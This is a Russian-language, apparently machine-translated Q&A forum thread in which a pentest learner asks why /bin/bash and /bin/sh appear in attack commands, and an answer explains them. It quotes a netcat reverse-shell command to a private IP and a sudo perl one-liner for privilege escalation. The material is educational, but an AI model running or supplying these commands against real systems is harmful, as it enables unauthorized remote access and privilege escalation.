Использование / bin / в некоторых ситуациях пентеста - PullRequest
0 голосов
/ 09 января 2020

Во время обучения Пентестеру я много замечал об использовании / bin / в некоторых ситуациях и в некоторых командах, например, в обратной оболочке:

nc -nv 192.168.0.6 1234 -e /bin/bash

и, например, когда речь идет о повышении привилегий на машине:

sudo /usr/bin/perl -e 'exec "/bin/sh"'

Я пытался найти в inte rnet и посмотреть несколько видео, но они никогда объясните, как эта папка работает в этих ситуациях, ПОЧЕМУ мне нужно запустить / bin / bash во время обратной оболочки или почему / bin / perl и / bin / sh использовался?

1 Ответ

0 голосов
/ 18 января 2020

Пентестирование - это использование доступных вам инструментов для достижения цели sh.

В первом примере вы открываете обратную оболочку. Мы прослушиваем входящее соединение с netcat, но мы хотим сделать больше, чем просто прослушать - мы хотим, чтобы входящая оболочка была интерактивной. Для этого мы используем опцию -e, чтобы передать входящее соединение в нашу локальную подсказку bash. Вы можете так же легко использовать sh или zsh или что-либо еще в этой ситуации. Следует отметить, что опция -e отсутствует в большинстве установок netcat, так что это просто один пример обратной оболочки, и у вас должно быть много готовых к go - некоторые будут работать и некоторые не будут.

Во втором примере мы увеличиваем привилегии с помощью perl, двоичного файла, к которому мы можем получить доступ на удаленной машине без повышенных привилегий. В конечном итоге мы хотим взаимодействовать с удаленным хостом с более высокими привилегиями, чем у нас, и во многих случаях что-то вроде perl может сделать это для нас (по многим произвольным причинам тоже!). Мы можем воспользоваться этим фактом в сочетании с тем, что perl позволяет нам запускать произвольный код для запуска фрагмента кода perl:

exec "/bin/sh"

Команда exe c в perl запустит исполняемый файл, в нашем случае оболочку /bin/sh. Эта оболочка будет работать на уровне привилегий perl, поэтому мы эффективно открыли оболочку с более высокими привилегиями, чем мы имели ранее. Опция

Perl -e вызывает скрипт или строку из perl для запуска, и это просто совпадение, что обе команды имеют -e. Они имеют в виду разные вещи.

Вывод: есть много причин, по которым вы будете вводить команды для выполнения различных действий. Есть тонна обратных оболочек, бесконечное количество способов повысить вашу привилегию и миллион различных методов перечисления. После того, как вы получили команды для выполнения, найдите минутку, чтобы проверить документацию для команды, чтобы выяснить, что делает каждый флаг, почему вы используете эти параметры и как он работает. Делая заметки в качестве ручного тестера, вы продвинетесь вперед быстрее, чем любая другая техника, потому что Pentesting - это игра чисел - вы хотите попробовать как можно больше вещей, чтобы увидеть, что работает.

...